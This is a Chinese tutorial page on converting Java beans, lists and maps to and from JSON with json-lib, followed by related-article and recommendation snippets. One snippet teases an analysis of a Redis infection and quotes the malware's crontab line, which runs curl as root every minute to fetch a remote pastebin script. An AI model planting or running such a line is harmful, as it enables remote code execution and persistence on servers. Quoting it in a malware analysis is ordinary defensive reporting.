json转换学习
文章部分代码实体类可以忽略。
原文:https://www.cnblogs.com/free-dom/p/5801866.html
代码如下:
package covert; import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map; import net.sf.json.JSONArray;
import net.sf.json.JSONObject; /**
*
* @author jack 陈
*
*/
public class Student { private String name;
private String address;
private String age; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public String getAddress() {
return address;
} public void setAddress(String address) {
this.address = address;
} public String getAge() {
return age;
} public void setAge(String age) {
this.age = age;
} public Student(String name, String address, String age) {
super();
this.name = name;
this.address = address;
this.age = age;
} public Student() {
super(); } @Override
public String toString() {
return "Student [name=" + name + ", address=" + address + ", age=" + age + ", getName()="
+ getName() + ", getAddress()=" + getAddress() + ", getAge()=" + getAge()
+ ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
/**
*
* json转化,数组,对象
*/
public static void convertjson() { Student s = new Student();
s.setAddress("北京东城区");
s.setAge("56");
s.setName("刘德华"); // 对象
JSONObject jsonObject = JSONObject.fromObject(s);
// 数组
JSONArray jsonArray = JSONArray.fromObject(s); // 转化
String js1 = jsonObject.toString();
String js2 = jsonArray.toString(); // 打印
System.out.println(js1);
System.out.println(js2); }
//json 转 字符串
public static void jsontostring() {
// 定义两种不同格式的字符串
String objectStr = "{\"name\":\"JSON\",\"age\":\"24\",\"address\":\"北京市西城区\"}";
String arrayStr = "[{\"name\":\"JSON\",\"age\":\"24\",\"address\":\"北京市西城区\"}]"; // 1、使用JSONObject
JSONObject object = JSONObject.fromObject(objectStr);
Student stu = (Student) JSONObject.toBean(object, Student.class); // 2、使用JSONArray
JSONArray jsonArray = JSONArray.fromObject(arrayStr);
// 获得jsonArray的第一个元素
Object o = jsonArray.get(0);
JSONObject jsonObject2 = JSONObject.fromObject(o);
Student stu2 = (Student) JSONObject.toBean(jsonObject2, Student.class);
System.out.println("stu:" + stu);
System.out.println("stu2:" + stu2); }
// list转json(注意:list只能转json数组)
public static void listtojson() {
Student stu = new Student();
stu.setName("JSON");
stu.setAge("23");
stu.setAddress("北京市海淀区");
List<Student> list = new ArrayList<Student>();
list.add(stu); // 转化
//JSONObject listobjest = JSONObject.fromObject(list);
JSONArray listarray = JSONArray.fromObject(list); //打印
//System.out.println(listobjest.toString());
System.out.println(listarray.toString());
}
// json转list
public static void jsontolist() { String arrayStr="[{\"name\":\"JSON\",\"age\":\"24\",\"address\":\"北京市西城区\"}]";
//转化为list
List<Student> list2= JSONArray.toList(JSONArray.fromObject(arrayStr), Student.class);
for (Student stu : list2) {
System.out.println(stu);
}
//转化为数组 Student[] array = (Student[]) JSONArray.toArray(JSONArray.fromObject(arrayStr), Student.class);
for (Student stu2 : array) {
System.out.println(stu2);
} }
//map转json
public static void mapToJSON(){
Student stu=new Student();
stu.setName("JSON");
stu.setAge("23");
stu.setAddress("中国上海");
Map<String,Student> map=new HashMap<String,Student>();
map.put("first", stu); //1、JSONObject
JSONObject mapObject=JSONObject.fromObject(map);
System.out.println("mapObject"+mapObject.toString()); //2、JSONArray
JSONArray mapArray=JSONArray.fromObject(map);
System.out.println("mapArray:"+mapArray.toString());
}
//json转map
public static void jsonToMap(){
String strObject="{\"first\":{\"address\":\"中国上海\",\"age\":\"23\",\"name\":\"JSON\"}}"; //JSONObject
JSONObject jsonObject=JSONObject.fromObject(strObject);
Map map=new HashMap();
map.put("first", Student.class); //使用了toBean方法,需要三个参数
MyBean my=(MyBean)JSONObject.toBean(jsonObject, MyBean.class, map);
System.out.println(my.getFirst()); }
public static void main(String[] args) {
//convertjson();
System.out.println("===================");
//jsontostring();
System.out.println("===================");
//listtojson();
System.out.println("===================");
//jsontolist();
System.out.println("===================");
mapToJSON();
System.out.println("===================");
jsonToMap();
}
}
MyBean类:
package covert;
/**
*
* @author
*
*/
public class MyBean { private Student first; public Student getFirst() {
return first;
} public void setFirst(Student first) {
this.first = first;
} }
显示结果:

json转换学习的更多相关文章
- Spring学习---Spring中利用jackson进行JSON转换
Spring中利用jackson进行JSON转换 import java.util.List; import com.fasterxml.jackson.core.JsonProcessingExce ...
- iOS Json转换模型库:YYModel
iOS Json转换模型库:YYModel 其实在研究这个库之前,市面上已经有很多类似的模型序列化成JSON及反序列化库(如Mantle.MJExtension)了,推荐他只是因为他高端的性能和容 ...
- Newtonsoft.Json(Json.Net)学习
转自原文 Newtonsoft.Json(Json.Net)学习笔记 Newtonsoft.Json,一款.NET中开源的Json序列化和反序列化类库.软件下载地址: http://www.newto ...
- JSON的学习与使用
.katex { display: block; text-align: center; white-space: nowrap; } .katex-display > .katex > ...
- json转换成对象
在json转换成对象时,json的key会与java 类的字段一一对应.如果没有映射上的java字段会在该数据类型上填充默认值,如int 0,String null 等. 没有映射的json key在 ...
- Json转换利器Gson之实例一-简单对象转化和带泛型的List转化 (转)
Gson 是 Google 提供的用来在 Java 对象和 JSON 数据之间进行映射的 Java 类库.可以将一个 JSON 字符串转成一个 Java 对象,或者反过来. jar和源码下载地址: h ...
- json转换数据后面参数要带ture,代码
强大的PHP已经提供了内置函数:json_encode() 和 json_decode().很容易理解,json_encode()就是将PHP数组转换成Json.相反,json_decode()就是将 ...
- JSON 教程学习进度备忘
书签:跳过:另外跳过的内容有待跟进 __________________ 学习资源:W3School. _________________ 跳过的内容: 1. ______________ 知识点:1 ...
- miniui datagrid 保存到服务端,使用.NET 自带 JSON 转换时发现日期格式不兼容。
使用 miniui datagrid 修改表格后,保存到服务端,然后使用 .NET 自带 JSON 转换,会抛出DateTime 内容“2015-12-27T11:02:28”未按 JSON 的要求以 ...
随机推荐
- mysql存储过程实例,查询多参数赋值
drop procedure if exists p_for_create_customer; create procedure p_for_create_customer()begin declar ...
- 远程FTP下载文件
现在存在以下环境: 远程服务器:192.168.1.107 用户名:dt 密码:dt123 需要从该服务器上下载文件到本地 1.登录(进入到那个目录登录的 ,文件就会被下载到该文件) ftp 192. ...
- phpBB3导入用户的Python脚本
关联的数据表 在phpBB3中导入用户时, 需要处理的有两张表, 一个是 users, 一个是 user_group. 如果是新安装的论坛, 在每次导入之前, 用以下语句初始化: DELETE FRO ...
- lua 源码分析之线程对象lua_State
lua_State 中放的是 lua 虚拟机中的环境表.注册表.运行堆栈.虚拟机的上下文等数据. 从一个主线程(特指 lua 虚拟机中的线程,即 coroutine)中创建出来的新的 lua_Stat ...
- IDEA使用笔记(九)——设置文件注释
方式一:后写文件描述信息 1:设置——如下图所示 2:验证——创建个类试试 3:验证——结果如下 4:其他,所有注释模版中包含 #parse("File Header.java") ...
- 面经 cisco
1. 优先级反转问题及解决方法 (1)什么是优先级反转 简单从字面上来说,就是低优先级的任务先于高优先级的任务执行了,优先级搞反了.那在什么情况下会生这种情况呢? 假设三个任务准备执行,A,B,C,优 ...
- caffe可重入单例机制分析
一个函数可重入是指该函数可以被多个线程同时调用.大多数函数都不是可重如的,因为很多函数会修改静态数据结构里的内容,如果多个线程同时调用,势必破坏共享的静态结构.可以在不改变公共接口的情况下,将一个非重 ...
- Python(可变/不可变类型,list,tuple,dict,set)
补充:(可用操作技巧) >>> x=900 >>> y=900 >>> x==y True >>> type(x) is typ ...
- 记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...
- Win10正式企业版激活方法
Win10正式企业版激活方法 在正式开始激活Win10正式企业版系统之前,我们需要先查看一下当前Win10正式企业版系统的激活状态: 右击桌面左下角的“Windows”按钮,从弹出的右键菜单中选择“控 ...